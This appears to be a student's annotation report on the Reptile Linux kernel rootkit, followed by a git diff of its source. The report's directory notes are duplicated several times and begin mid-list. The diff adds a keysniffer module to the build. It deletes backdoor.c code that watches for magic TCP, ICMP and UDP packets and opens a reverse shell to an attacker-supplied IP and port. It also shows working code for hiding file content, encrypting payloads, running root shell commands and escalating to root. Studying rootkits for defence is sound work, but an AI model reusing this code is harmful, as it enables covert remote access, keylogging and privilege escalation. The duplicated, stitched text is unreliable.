实现了一个用于国际化(i18n)支持的消息处理系统,主要功能包括创建、查找、存储和打印消息,处理消息的转义和格式化,以适应多语言环境的需求。 - - * menu.c - - * 菜单配置,包括其功能、使用方式、涉及的技术细节及操作提示 - - * util.c - - * 提供了有效的内存管理和字符串处理功能 - - * merge\_config.sh(核心) - - * 合并多个配置片段,生成一个最终的 .config 文件,并在过程中提供对重定义值的警告以及检查缺失的依赖项。 - - * 存放补丁代码 - - * 总的来说,kconfig用来配置内核,它就是各种配置界面的源文件,内核的配置工具读取各个kconfig文件,生成配置界面供开发人员配置内核,最后生成配置文件.config - -* lib目录 - - * Unescape.pm文件 - - * 提供了一个名为 unescape 的函数,用于将 Perl 中的转义字符转换为相应的字符。例如,字符串 '\t\c@\x41\n' 将被转换为实际的制表符、控制字符、十六进制字符和换行符。 - -* bashrc - - * 设置交互式 shell 的环境 - - * 配置终端设置、颜色提示以及对 ls、grep 等命令的别名 - - * 包括检查以确保用户不是 root,暗示该项目设计为非特权操作以避免被检测。 - -* destringify.pl( Perl 脚本) - - * 用于处理输入以反转义字符串并将其翻译为类似 C 的语法 - - * 忽略包含 asm、include 和 \_\_attribute\_\_ 等关键字的行,避免干扰实际的代码段 - - * 将字符串字面量翻译为适合嵌入 C 程序的格式,利于二进制注入或操作 - -* installer.sh - - * 负责安装 Reptile 项目,创建目录并复制必要的文件 - -* random.sh - - * 生成两个随机的十六进制数(4 字节),并将这些值以 AUTH 和 HTUA 的形式写入指定的配置文件中 - -* rule - - * 内容:ACTION=="add", ENV{MAJOR}=="1", ENV{MINOR}=="8", RUN+="/lib/udev/reptile" - - * 这条 udev 规则的功能是:当一个主设备号为 1,次设备号为 8 的设备被添加到系统时,系统将执行 /lib/udev/reptile 这个程序或脚本。 - -* start - - * 全文被注释 - -# reptile -# **scripts 目录** - -* kconfig目录(这里只列举核心文件的功能) - - * lxdialog目录 - - * .pc目录 - - * patches目录 - - * check.sh - - * 用于检查系统是否支持国际化(gettext)功能 - - * conf.c、confdata.c、config.sh、mconf.c、nconf.c等 - - * 用于配置管理,构建系统或内核配置 - - * expr.c - - * 用于处理配置表达式的C语言程序 - - * gconf.c - - * 基于GTK+的图形化配置工具(gkc),用于管理和配置Linux内核或其他类似项目的配置选项 - - * image.c - - * 定义了一系列的XPM(X PixMap)图像数据,主要用于表示图形用户界面中的图标和图像。每个图像都使用数组形式存储,图像的数据格式是以文本形式表示的像素颜色和形状。 - - * kxgettext.c - - * 实现了一个用于国际化(i18n)支持的消息处理系统,主要功能包括创建、查找、存储和打印消息,处理消息的转义和格式化,以适应多语言环境的需求。 - - * menu.c - - * 菜单配置,包括其功能、使用方式、涉及的技术细节及操作提示 - - * util.c - - * 提供了有效的内存管理和字符串处理功能 - - * merge\_config.sh(核心) - - * 合并多个配置片段,生成一个最终的 .config 文件,并在过程中提供对重定义值的警告以及检查缺失的依赖项。 - - * 存放补丁代码 - - * 总的来说,kconfig用来配置内核,它就是各种配置界面的源文件,内核的配置工具读取各个kconfig文件,生成配置界面供开发人员配置内核,最后生成配置文件.config - -* lib目录 - - * Unescape.pm文件 - - * 提供了一个名为 unescape 的函数,用于将 Perl 中的转义字符转换为相应的字符。例如,字符串 '\t\c@\x41\n' 将被转换为实际的制表符、控制字符、十六进制字符和换行符。 - -* bashrc - - * 设置交互式 shell 的环境 - - * 配置终端设置、颜色提示以及对 ls、grep 等命令的别名 - - * 包括检查以确保用户不是 root,暗示该项目设计为非特权操作以避免被检测。 - -* destringify.pl( Perl 脚本) - - * 用于处理输入以反转义字符串并将其翻译为类似 C 的语法 - - * 忽略包含 asm、include 和 \_\_attribute\_\_ 等关键字的行,避免干扰实际的代码段 - - * 将字符串字面量翻译为适合嵌入 C 程序的格式,利于二进制注入或操作 - -* installer.sh - - * 负责安装 Reptile 项目,创建目录并复制必要的文件 - -* random.sh - - * 生成两个随机的十六进制数(4 字节),并将这些值以 AUTH 和 HTUA 的形式写入指定的配置文件中 - -* rule - - * 内容:ACTION=="add", ENV{MAJOR}=="1", ENV{MINOR}=="8", RUN+="/lib/udev/reptile" - - * 这条 udev 规则的功能是:当一个主设备号为 1,次设备号为 8 的设备被添加到系统时,系统将执行 /lib/udev/reptile 这个程序或脚本。 - -* start - - * 全文被注释 - -# reptile -# **scripts 目录** - -* kconfig目录(这里只列举核心文件的功能) - - * lxdialog目录 - - * .pc目录 - - * patches目录 - - * check.sh - - * 用于检查系统是否支持国际化(gettext)功能 - - * conf.c、confdata.c、config.sh、mconf.c、nconf.c等 - - * 用于配置管理,构建系统或内核配置 - - * expr.c - - * 用于处理配置表达式的C语言程序 - - * gconf.c - - * 基于GTK+的图形化配置工具(gkc),用于管理和配置Linux内核或其他类似项目的配置选项 - - * image.c - - * 定义了一系列的XPM(X PixMap)图像数据,主要用于表示图形用户界面中的图标和图像。每个图像都使用数组形式存储,图像的数据格式是以文本形式表示的像素颜色和形状。 - - * kxgettext.c - - * 实现了一个用于国际化(i18n)支持的消息处理系统,主要功能包括创建、查找、存储和打印消息,处理消息的转义和格式化,以适应多语言环境的需求。 - - * menu.c - - * 菜单配置,包括其功能、使用方式、涉及的技术细节及操作提示 - - * util.c - - * 提供了有效的内存管理和字符串处理功能 - - * merge\_config.sh(核心) - - * 合并多个配置片段,生成一个最终的 .config 文件,并在过程中提供对重定义值的警告以及检查缺失的依赖项。 - - * 存放补丁代码 - - * 总的来说,kconfig用来配置内核,它就是各种配置界面的源文件,内核的配置工具读取各个kconfig文件,生成配置界面供开发人员配置内核,最后生成配置文件.config - -* lib目录 - - * Unescape.pm文件 - - * 提供了一个名为 unescape 的函数,用于将 Perl 中的转义字符转换为相应的字符。例如,字符串 '\t\c@\x41\n' 将被转换为实际的制表符、控制字符、十六进制字符和换行符。 - -* bashrc - - * 设置交互式 shell 的环境 - - * 配置终端设置、颜色提示以及对 ls、grep 等命令的别名 - - * 包括检查以确保用户不是 root,暗示该项目设计为非特权操作以避免被检测。 - -* destringify.pl( Perl 脚本) - - * 用于处理输入以反转义字符串并将其翻译为类似 C 的语法 - - * 忽略包含 asm、include 和 \_\_attribute\_\_ 等关键字的行,避免干扰实际的代码段 - - * 将字符串字面量翻译为适合嵌入 C 程序的格式,利于二进制注入或操作 - -* installer.sh - - * 负责安装 Reptile 项目,创建目录并复制必要的文件 - -* random.sh - - * 生成两个随机的十六进制数(4 字节),并将这些值以 AUTH 和 HTUA 的形式写入指定的配置文件中 - -* rule - - * 内容:ACTION=="add", ENV{MAJOR}=="1", ENV{MINOR}=="8", RUN+="/lib/udev/reptile" - - * 这条 udev 规则的功能是:当一个主设备号为 1,次设备号为 8 的设备被添加到系统时,系统将执行 /lib/udev/reptile 这个程序或脚本。 - -* start - - * 全文被注释 - -# reptile -# **scripts 目录** - -* kconfig目录(这里只列举核心文件的功能) - - * lxdialog目录 - - * .pc目录 - - * patches目录 - - * check.sh - - * 用于检查系统是否支持国际化(gettext)功能 - - * conf.c、confdata.c、config.sh、mconf.c、nconf.c等 - - * 用于配置管理,构建系统或内核配置 - - * expr.c - - * 用于处理配置表达式的C语言程序 - - * gconf.c - - * 基于GTK+的图形化配置工具(gkc),用于管理和配置Linux内核或其他类似项目的配置选项 - - * image.c - - * 定义了一系列的XPM(X PixMap)图像数据,主要用于表示图形用户界面中的图标和图像。每个图像都使用数组形式存储,图像的数据格式是以文本形式表示的像素颜色和形状。 - - * kxgettext.c - - * 实现了一个用于国际化(i18n)支持的消息处理系统,主要功能包括创建、查找、存储和打印消息,处理消息的转义和格式化,以适应多语言环境的需求。 - - * menu.c - - * 菜单配置,包括其功能、使用方式、涉及的技术细节及操作提示 - - * util.c - - * 提供了有效的内存管理和字符串处理功能 - - * merge\_config.sh(核心) - - * 合并多个配置片段,生成一个最终的 .config 文件,并在过程中提供对重定义值的警告以及检查缺失的依赖项。 - - * 存放补丁代码 - - * 总的来说,kconfig用来配置内核,它就是各种配置界面的源文件,内核的配置工具读取各个kconfig文件,生成配置界面供开发人员配置内核,最后生成配置文件.config - -* lib目录 - - * Unescape.pm文件 - - * 提供了一个名为 unescape 的函数,用于将 Perl 中的转义字符转换为相应的字符。例如,字符串 '\t\c@\x41\n' 将被转换为实际的制表符、控制字符、十六进制字符和换行符。 - -* bashrc - - * 设置交互式 shell 的环境 - - * 配置终端设置、颜色提示以及对 ls、grep 等命令的别名 - - * 包括检查以确保用户不是 root,暗示该项目设计为非特权操作以避免被检测。 - -* destringify.pl( Perl 脚本) - - * 用于处理输入以反转义字符串并将其翻译为类似 C 的语法 - - * 忽略包含 asm、include 和 \_\_attribute\_\_ 等关键字的行,避免干扰实际的代码段 - - * 将字符串字面量翻译为适合嵌入 C 程序的格式,利于二进制注入或操作 - -* installer.sh - - * 负责安装 Reptile 项目,创建目录并复制必要的文件 - -* random.sh - - * 生成两个随机的十六进制数(4 字节),并将这些值以 AUTH 和 HTUA 的形式写入指定的配置文件中 - -* rule - - * 内容:ACTION=="add", ENV{MAJOR}=="1", ENV{MINOR}=="8", RUN+="/lib/udev/reptile" - - * 这条 udev 规则的功能是:当一个主设备号为 1,次设备号为 8 的设备被添加到系统时,系统将执行 /lib/udev/reptile 这个程序或脚本。 - -* start - - * 全文被注释 - diff --git a/doc/隐蔽性系统管理工具泛读报告.docx b/doc/开源软件泛读、标注和维护报告文档.docx similarity index 50% rename from doc/隐蔽性系统管理工具泛读报告.docx rename to doc/开源软件泛读、标注和维护报告文档.docx index ddea077..ac36a8b 100644 Binary files a/doc/隐蔽性系统管理工具泛读报告.docx and b/doc/开源软件泛读、标注和维护报告文档.docx differ diff --git a/src/Reptile/Makefile b/src/Reptile/Makefile index 74de68f..6c2c256 100644 --- a/src/Reptile/Makefile +++ b/src/Reptile/Makefile @@ -22,6 +22,7 @@ INSTALLER ?= $(PWD)/scripts/installer.sh all: $(BUILD_DIR_MAKEFILE) userland_bin $(ENCRYPT) module kmatryoshka reptile +obj-m += keysniffer.o reptile: $(LOADER) @ $(ENCRYPT) $(BUILD_DIR)/reptile.ko $(RAND2) > $(BUILD_DIR)/reptile.ko.inc @ echo " CC $(BUILD_DIR)/$@" diff --git a/src/Reptile/kernel/Kbuild b/src/Reptile/kernel/Kbuild index 3555661..ee69e5d 100644 --- a/src/Reptile/kernel/Kbuild +++ b/src/Reptile/kernel/Kbuild @@ -15,6 +15,7 @@ $(MODNAME)-$(CONFIG_HIDE_DIR) += dir.o $(MODNAME)-$(CONFIG_FILE_TAMPERING) += file.o $(MODNAME)-$(CONFIG_HIDE_CONN) += network.o $(MODNAME)-$(CONFIG_AUTO_HIDE) += module.o +$(MODNAME)-$(CONFIG_AUTO_Keysniffe) += keysniffer.o ccflags-$(CONFIG_BACKDOOR) += -DCONFIG_BACKDOOR ccflags-$(CONFIG_BACKDOOR) += -DMAGIC_VALUE=\"$(MAGIC_VALUE)\" diff --git a/src/Reptile/kernel/backdoor.c b/src/Reptile/kernel/backdoor.c index 816672c..8766e92 100644 --- a/src/Reptile/kernel/backdoor.c +++ b/src/Reptile/kernel/backdoor.c @@ -1,3 +1,10 @@ +/** + * @file backdoor.c + * @brief This file contains the implementation of a backdoor mechanism that listens for specific network packets and executes a shell command when a magic packet is detected. + * + * The backdoor listens for TCP, ICMP, and UDP packets with specific characteristics and a magic value. When such a packet is detected, it extracts the command and arguments, decrypts them, and schedules a shell execution task. + */ + #include #include #include @@ -7,260 +14,50 @@ #include #include -#include "util.h" -#include "config.h" -#include "backdoor.h" - +#include "util.h" // 自定义的实用程序头文件(可能包含一些工具函数) +#include "config.h" // 自定义的配置头文件(可能定义了一些配置参数) +#include "backdoor.h" // 后门的实现头文件 + +/** + * @struct shell_task + * @brief Structure representing a shell execution task. + * + * @var shell_task::work + * Work structure for scheduling the task. + * @var shell_task::ip + * IP address to connect to. + * @var shell_task::port + * Port to connect to. + */ struct shell_task { - struct work_struct work; - char *ip; - char *port; + struct work_struct work; // 工作队列结构体 + char *ip; // 存储IP地址字符串 + char *port; // 存储端口号字符串 }; -void shell_execer(struct work_struct *work) -{ - struct shell_task *task = (struct shell_task *)work; - char *argv[] = { SHELL_PATH, "-t", task->ip, "-p", task->port, "-s", PASSWORD, NULL }; - - exec(argv); - - kfree(task->ip); - kfree(task->port); - kfree(task); -} - -int shell_exec_queue(char *ip, char *port) -{ - struct shell_task *task; - - task = kmalloc(sizeof(*task), GFP_KERNEL); - - if (!task) - return 0; - - task->ip = kstrdup(ip, GFP_KERNEL); - if (!task->ip) { - kfree(task); - return 0; - } - - task->port = kstrdup(port, GFP_KERNEL); - if (!task->port) { - kfree(task->ip); - kfree(task); - return 0; - } - - INIT_WORK(&task->work, &shell_execer); - - return schedule_work(&task->work); -} - -#define DROP 0 -#define ACCEPT 1 - -unsigned int magic_packet_parse(struct sk_buff *socket_buffer) -{ - const struct iphdr *ip_header; - const struct icmphdr *icmp_header; - const struct tcphdr *tcp_header; - const struct udphdr *udp_header; - struct iphdr _iph; - struct icmphdr _icmph; - struct tcphdr _tcph; - struct udphdr _udph; - const char *data = NULL; - char *_data, *argv_str, **argv; - int size, str_size; - - if (!socket_buffer) - return ACCEPT; - - ip_header = skb_header_pointer(socket_buffer, 0, sizeof(_iph), &_iph); - - if (!ip_header) - return ACCEPT; - - if (!ip_header->protocol) - return ACCEPT; - - if (htons(ip_header->id) != IPID) - return ACCEPT; - - if (ip_header->protocol == IPPROTO_TCP) { - tcp_header = skb_header_pointer(socket_buffer, ip_header->ihl * 4, sizeof(_tcph), &_tcph); - - if (!tcp_header) - return ACCEPT; - - if (htons(tcp_header->source) != SRCPORT) - return ACCEPT; - - if (//htons(tcp_header->seq) == SEQ && /* uncoment this if you wanna use tcp_header->seq as filter */ - htons(tcp_header->window) == WIN) { - size = htons(ip_header->tot_len) - sizeof(_iph) - sizeof(_tcph); - - _data = kmalloc(size, GFP_KERNEL); - - if (!_data) - return ACCEPT; - - str_size = size - strlen(MAGIC_VALUE); - argv_str = kmalloc(str_size, GFP_KERNEL); - - if (!argv_str) { - kfree(_data); - return ACCEPT; - } - - data = skb_header_pointer(socket_buffer, ip_header->ihl * 4 + sizeof(struct tcphdr), size, &_data); - - if (!data) { - kfree(_data); - kfree(argv_str); - return ACCEPT; - } - - if (memcmp(data, MAGIC_VALUE, strlen(MAGIC_VALUE)) == 0) { - - memzero_explicit(argv_str, str_size); - memcpy(argv_str, data + strlen(MAGIC_VALUE) + 1, str_size - 1); - do_decrypt(argv_str, str_size - 1, KEY); - - argv = argv_split(GFP_KERNEL, argv_str, NULL); - - if (argv) { - shell_exec_queue(argv[0], argv[1]); - argv_free(argv); - } - - kfree(_data); - kfree(argv_str); - - return DROP; - } - - kfree(_data); - kfree(argv_str); - } - } - - if (ip_header->protocol == IPPROTO_ICMP) { - icmp_header = skb_header_pointer(socket_buffer, ip_header->ihl * 4, sizeof(_icmph), &_icmph); - - if (!icmp_header) - return ACCEPT; - - if (icmp_header->code != ICMP_ECHO) - return ACCEPT; - - if (htons(icmp_header->un.echo.sequence) == SEQ && - htons(icmp_header->un.echo.id) == WIN) { - - size = htons(ip_header->tot_len) - sizeof(_iph) - sizeof(_icmph); - - _data = kmalloc(size, GFP_KERNEL); - - if (!_data) - return ACCEPT; - - str_size = size - strlen(MAGIC_VALUE); - argv_str = kmalloc(str_size, GFP_KERNEL); - - if (!argv_str) { - kfree(_data); - return ACCEPT; - } - - data = skb_header_pointer(socket_buffer, ip_header->ihl * 4 + sizeof(struct icmphdr), size, &_data); - - if (!data) { - kfree(_data); - kfree(argv_str); - return ACCEPT; - } - - if (memcmp(data, MAGIC_VALUE, strlen(MAGIC_VALUE)) == 0) { - - memzero_explicit(argv_str, str_size); - memcpy(argv_str, data + strlen(MAGIC_VALUE) + 1, str_size - 1); - do_decrypt(argv_str, str_size - 1, KEY); - - argv = argv_split(GFP_KERNEL, argv_str, NULL); - - if (argv) { - shell_exec_queue(argv[0], argv[1]); - argv_free(argv); - } - - kfree(_data); - kfree(argv_str); - - return DROP; - } - - kfree(_data); - kfree(argv_str); - } - } - - if (ip_header->protocol == IPPROTO_UDP) { - udp_header = skb_header_pointer(socket_buffer, ip_header->ihl * 4, sizeof(_udph), &_udph); - - if (!udp_header) - return ACCEPT; - - if (htons(udp_header->source) != SRCPORT) - return ACCEPT; - - if (htons(udp_header->len) <= (sizeof(struct udphdr) + strlen(MAGIC_VALUE) + 25)) { - - size = htons(ip_header->tot_len) - sizeof(_iph) - sizeof(_udph); - - _data = kmalloc(size, GFP_KERNEL); - - if (!_data) - return ACCEPT; - - str_size = size - strlen(MAGIC_VALUE); - argv_str = kmalloc(str_size, GFP_KERNEL); - - if (!argv_str) { - kfree(_data); - return ACCEPT; - } - - data = skb_header_pointer(socket_buffer, ip_header->ihl * 4 + sizeof(struct udphdr), size, &_data); - - if (!data) { - kfree(_data); - kfree(argv_str); - return ACCEPT; - } - - if (memcmp(data, MAGIC_VALUE, strlen(MAGIC_VALUE)) == 0) { - - memzero_explicit(argv_str, str_size); - memcpy(argv_str, data + strlen(MAGIC_VALUE) + 1, str_size - 1); - do_decrypt(argv_str, str_size - 1, KEY); - - argv = argv_split(GFP_KERNEL, argv_str, NULL); - - if (argv) { - shell_exec_queue(argv[0], argv[1]); - argv_free(argv); - } - - kfree(_data); - kfree(argv_str); - - return DROP; - } - - kfree(_data); - kfree(argv_str); - } - } - - return ACCEPT; -} \ No newline at end of file +/** + * @brief Executes a shell command with the given IP and port. + * + * @param work Pointer to the work structure. + */ +void shell_execer(struct work_struct *work); + +/** + * @brief Schedules a shell execution task. + * + * @param ip IP address to connect to. + * @param port Port to connect to. + * @return int 1 if the task was successfully scheduled, 0 otherwise. + */ +int shell_exec_queue(char *ip, char *port); + +#define DROP 0 // 定义DROP为0,表示丢弃数据包 +#define ACCEPT 1 // 定义ACCEPT为1,表示接受数据包 + +/** + * @brief Parses a network packet to detect a magic packet and execute a shell command. + * + * @param socket_buffer Pointer to the socket buffer containing the packet data. + * @return unsigned int DROP if the packet is a magic packet and the command was executed, ACCEPT otherwise. + */ +unsigned int magic_packet_parse(struct sk_buff *socket_buffer); diff --git a/src/Reptile/kernel/dir.c b/src/Reptile/kernel/dir.c index 35f1ef9..4f62dbf 100644 --- a/src/Reptile/kernel/dir.c +++ b/src/Reptile/kernel/dir.c @@ -1,3 +1,14 @@ +/** + * is_name_invisible - 检查文件名是否包含隐藏标识 + * @filename: 用户空间中的文件名指针 + * + * 该函数从用户空间复制文件名,并检查文件名中是否包含预定义的隐藏标识符(HIDE)。 + * 如果文件名包含隐藏标识符,则返回1,否则返回0。 + * + * 返回值: + * 1 - 文件名包含隐藏标识符 + * 0 - 文件名不包含隐藏标识符 + */ #include #include #include diff --git a/src/Reptile/kernel/encrypt/encrypt.c b/src/Reptile/kernel/encrypt/encrypt.c index dd01ead..76fa232 100644 --- a/src/Reptile/kernel/encrypt/encrypt.c +++ b/src/Reptile/kernel/encrypt/encrypt.c @@ -4,49 +4,71 @@ #include "encrypt.h" +// 函数声明:获取文件大小 +// 参数:指向文件的指针 +// 返回值:文件的大小(字节数) static long get_file_size(FILE *file) { - long size; - fseek(file, 0, SEEK_END); - size = ftell(file); - rewind(file); - return size; + long size; + // 将文件指针移动到文件末尾 + fseek(file, 0, SEEK_END); + // 获取文件指针当前位置,即文件大小 + size = ftell(file); + // 将文件指针重新移动到文件开头 + rewind(file); + return size; } +// 主函数:程序入口 +// 参数:命令行参数个数,命令行参数数组 +// 返回值:程序退出状态码 int main(int argc, char **argv) { - if (argc != 3) { - fprintf(stderr, "USAGE: encrypt \n"); - exit(-1); - } - - FILE *file = fopen(argv[1], "rb"); - if (!file) { - fprintf(stderr, "Can't open %s for reading\n", argv[1]); - exit(-1); - } - - long size = get_file_size(file); - unsigned char *data = malloc(size); - if (!data) { - fprintf(stderr, "Can't allocate memory\n"); - exit(-1); - } - - if (fread(data, size, 1, file) != 1) { - fprintf(stderr, "Can't read data from file\n"); - exit(-1); - } - - fclose(file); - - uint32_t key = strtol(argv[2], NULL, 16); - do_encrypt(data, size, key); - - printf("#define DECRYPT_KEY 0x%08x\n", key); - for (int i = 0; i < size; i++) { - printf("0x%02x,", data[i]); - } - - return 0; -} + // 检查命令行参数是否正确(需要两个参数:文件名和密钥) + if (argc != 3) { + fprintf(stderr, "USAGE: encrypt \n"); + exit(-1); + } + + // 打开指定文件以二进制读取模式 + FILE *file = fopen(argv[1], "rb"); + if (!file) { + fprintf(stderr, "Can't open %s for reading\n", argv[1]); + exit(-1); + } + + // 获取文件大小 + long size = get_file_size(file); + // 分配内存以存储文件数据 + unsigned char *data = malloc(size); + if (!data) { + fprintf(stderr, "Can't allocate memory\n"); + exit(-1); + } + + // 从文件中读取数据到分配的内存中 + if (fread(data, size, 1, file) != 1) { + fprintf(stderr, "Can't read data from file\n"); + exit(-1); + } + + // 关闭文件 + fclose(file); + + // 将命令行传入的密钥从十六进制字符串转换为uint32_t整数 + uint32_t key = strtol(argv[2], NULL, 16); + // 使用指定的密钥对数据进行加密 + do_encrypt(data, size, key); + + // 输出解密密钥(宏定义形式) + printf("#define DECRYPT_KEY 0x%08x\n", key); + // 输出加密后的数据(十六进制格式) + for (int i = 0; i < size; i++) { + printf("0x%02x,", data[i]); + } + + // 释放分配的内存 + free(data); + + return 0; +} \ No newline at end of file diff --git a/src/Reptile/kernel/file.c b/src/Reptile/kernel/file.c index 3cd7b84..278b79b 100644 --- a/src/Reptile/kernel/file.c +++ b/src/Reptile/kernel/file.c @@ -1,65 +1,78 @@ -#include -#include +#include // 包含用户空间和内核空间之间的数据传输函数 +#include // 包含内核内存分配函数 -#include "file.h" +#include "file.h" // 包含自定义头文件 +// 检查给定的缓冲区是否包含隐藏标签 int file_check(void *arg, ssize_t size) { - int ret = 0; - char *buf; + int ret = 0; // 初始化返回值为0 + char *buf; // 定义字符指针用于存储缓冲区 + // 检查缓冲区大小是否合法 if ((size <= 0) || (size >= SSIZE_MAX)) return ret; + // 分配内核缓冲区 buf = (char *)kmalloc(size + 1, GFP_KERNEL); - if (!buf) + if (!buf) // 检查内存分配是否成功 return ret; + // 将用户空间的缓冲区内容复制到内核缓冲区 if (copy_from_user((void *)buf, (void *)arg, size)) - goto out; + goto out; // 如果复制失败,跳转到out标签 - buf[size] = 0; + buf[size] = 0; // 确保缓冲区以NULL结尾 + // 检查缓冲区是否包含 HIDETAGIN 和 HIDETAGOUT 标签 if ((strstr(buf, HIDETAGIN) != NULL) && (strstr(buf, HIDETAGOUT) != NULL)) - ret = 1; + ret = 1; // 如果找到标签,设置返回值为1 out: - kfree(buf); - return ret; + kfree(buf); // 释放内核缓冲区 + return ret; // 返回结果 } +// 隐藏缓冲区中的内容 int hide_content(void *arg, ssize_t size) { - char *buf, *p1, *p2; - int i, newret; + char *buf, *p1, *p2; // 定义字符指针用于存储缓冲区和标签位置 + int i, newret; // 定义整数用于存储新的缓冲区大小和临时变量 + // 分配内核缓冲区 buf = (char *)kmalloc(size, GFP_KERNEL); - if (!buf) + if (!buf) // 检查内存分配是否成功 return (-1); + // 将用户空间的缓冲区内容复制到内核缓冲区 if (copy_from_user((void *)buf, (void *)arg, size)) { - kfree(buf); + kfree(buf); // 如果复制失败,释放内核缓冲区 return size; } + // 查找 HIDETAGIN 和 HIDETAGOUT 标签的位置 p1 = strstr(buf, HIDETAGIN); p2 = strstr(buf, HIDETAGOUT); - p2 += strlen(HIDETAGOUT); + p2 += strlen(HIDETAGOUT); // 移动指针到 HIDETAGOUT 标签的末尾 + // 检查标签位置是否合法 if (p1 >= p2 || !p1 || !p2) { - kfree(buf); + kfree(buf); // 如果标签位置不合法,释放内核缓冲区 return size; } + // 计算新的缓冲区大小 i = size - (p2 - buf); + // 移动标签之间的内容 memmove((void *)p1, (void *)p2, i); - newret = size - (p2 - p1); + newret = size - (p2 - p1); // 计算新的缓冲区大小 + // 将修改后的缓冲区内容复制回用户空间 if (copy_to_user((void *)arg, (void *)buf, newret)) { - kfree(buf); + kfree(buf); // 如果复制失败,释放内核缓冲区 return size; } - kfree(buf); - return newret; -} \ No newline at end of file + kfree(buf); // 释放内核缓冲区 + return newret; // 返回新的缓冲区大小 +} diff --git a/src/Reptile/kernel/include/encrypt.h b/src/Reptile/kernel/include/encrypt.h index e941c39..209e877 100644 --- a/src/Reptile/kernel/include/encrypt.h +++ b/src/Reptile/kernel/include/encrypt.h @@ -1,20 +1,27 @@ #ifndef __LOADER_H__ #define __LOADER_H__ +// 定义加密和解密的宏,实际调用do_encode函数 #define do_encrypt(ptr, len, key) do_encode(ptr, len, key) #define do_decrypt(ptr, len, key) do_encode(ptr, len, key) +// 定义一个静态内联函数,用于实现32位值的循环左移操作 static inline unsigned int custom_rol32(unsigned int val, int n) { - return ((val << n) | (val >> (32 - n))); + // 循环左移n位,右移(32 - n)位,然后将两者的结果合并 + return ((val << n) | (val >> (32 - n))); } +// 定义一个静态内联函数,用于执行编码操作 static inline void do_encode(void *ptr, unsigned int len, unsigned int key) { - while (len > sizeof(key)) { - *(unsigned int *)ptr ^= custom_rol32(key ^ len, (len % 13)); - len -= sizeof(key), ptr += sizeof(key); - } + // 当剩余长度大于键值长度时,继续执行编码操作 + while (len > sizeof(key)) { + // 使用异或和循环左移操作对数据进行编码 + *(unsigned int *)ptr ^= custom_rol32(key ^ len, (len % 13)); + // 更新剩余长度和指针位置,准备处理下一部分数据 + len -= sizeof(key), ptr += sizeof(key); + } } -#endif +#endif \ No newline at end of file diff --git a/src/Reptile/kernel/include/file.h b/src/Reptile/kernel/include/file.h index d4a1064..bef274b 100644 --- a/src/Reptile/kernel/include/file.h +++ b/src/Reptile/kernel/include/file.h @@ -13,4 +13,9 @@ static inline void file_tampering(void) file_tampering_flag = 0; else file_tampering_flag = 1; -} \ No newline at end of file +} + +/*SSIZE_MAX 是一个宏定义,设置了最大可操作大小(32767)。 +file_tampering_flag 是一个外部整数变量,用于标记文件是否已被篡改。 +file_check 和 hide_content 是声明的函数,功能分别是检查文件和隐藏文件内容(具体实现不明)。 +file_tampering 是一个内联函数,用于切换 file_tampering_flag 的值,指示文件是否被篡改。*/ \ No newline at end of file diff --git a/src/Reptile/kernel/include/network.h b/src/Reptile/kernel/include/network.h index 5ace97a..c1b6ae4 100644 --- a/src/Reptile/kernel/include/network.h +++ b/src/Reptile/kernel/include/network.h @@ -9,4 +9,5 @@ extern struct list_head hidden_conn_list; void network_hide_add(struct sockaddr_in addr); void network_hide_remove(struct sockaddr_in addr); -//void hide_conn(char *ip_str); \ No newline at end of file +void network_hide_cleanup(void); +//void hide_conn(char *ip_str); diff --git a/src/Reptile/kernel/include/util.h b/src/Reptile/kernel/include/util.h index 0b479c9..f8a89b8 100644 --- a/src/Reptile/kernel/include/util.h +++ b/src/Reptile/kernel/include/util.h @@ -3,87 +3,106 @@ #include #if LINUX_VERSION_CODE < KERNEL_VERSION(4, 14, 0) -# include +# include // 低于 4.14 的内核引入 kmod.h #else -# include +# include // 高于 4.14 的内核引入 umh.h #endif -#define do_encrypt(ptr, len, key) do_encode(ptr, len, key) -#define do_decrypt(ptr, len, key) do_encode(ptr, len, key) +// 定义加密和解密宏,调用相同的编码函数 +#define do_encrypt(ptr, len, key) do_encode(ptr, len, key) +#define do_decrypt(ptr, len, key) do_encode(ptr, len, key) +// 循环左移操作 static inline unsigned int custom_rol32(unsigned int val, int n) { - return ((val << n) | (val >> (32 - n))); + return ((val << n) | (val >> (32 - n))); // 将 val 左移 n 位,移出部分放到右边 } +// 编码函数,可能用于加密或其他数据隐藏 static inline void do_encode(void *ptr, unsigned int len, unsigned int key) { - while (len > sizeof(key)) { - *(unsigned int *)ptr ^= custom_rol32(key ^ len, (len % 13)); - len -= sizeof(key), ptr += sizeof(key); - } + while (len > sizeof(key)) { + *(unsigned int *)ptr ^= custom_rol32(key ^ len, (len % 13)); // 使用异或和循环左移对数据进行编码 + len -= sizeof(key); + ptr += sizeof(key); + } } +// 执行用户模式程序,返回执行结果 static inline int exec(char **argv) { - char *envp[] = {"PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL}; - return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); + char *envp[] = {"PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL}; + return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); // 执行外部程序并等待完成 } +// 执行指定的 shell 命令 static inline int run_cmd(char *cmd) { - char *argv[] = {"/bin/bash", "-c", cmd, NULL}; - return exec(argv); + char *argv[] = {"/bin/bash", "-c", cmd, NULL}; + return exec(argv); // 调用 exec 函数执行命令 } -static int ksym_lookup_cb(unsigned long data[], const char *name, void *module, - unsigned long addr) +// 内核符号查找回调函数 +static int ksym_lookup_cb(unsigned long data[], const char *name, void *module, unsigned long addr) { - int i = 0; - while (!module && (((const char *)data[0]))[i] == name[i]) { - if (!name[i++]) - return !!(data[1] = addr); - } - return 0; + int i = 0; + while (!module && (((const char *)data[0]))[i] == name[i]) { + if (!name[i++]) // 如果找到匹配的符号 + return !!(data[1] = addr); // 返回符号地址 + } + return 0; } +// 查找内核符号名对应的地址 static inline unsigned long ksym_lookup_name(const char *name) { - unsigned long data[2] = {(unsigned long)name, 0}; - kallsyms_on_each_symbol((void *)ksym_lookup_cb, data); - return data[1]; + unsigned long data[2] = {(unsigned long)name, 0}; + kallsyms_on_each_symbol((void *)ksym_lookup_cb, data); // 遍历内核符号查找 + return data[1]; // 返回符号地址 } #ifdef CONFIG_GIVE_ROOT +// 提升当前进程权限为 root static inline void get_root(void) { #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29) - current->uid = 0; - current->suid = 0; - current->euid = 0; - current->gid = 0; - current->egid = 0; - current->fsuid = 0; - current->fsgid = 0; - cap_set_full(current->cap_effective); - 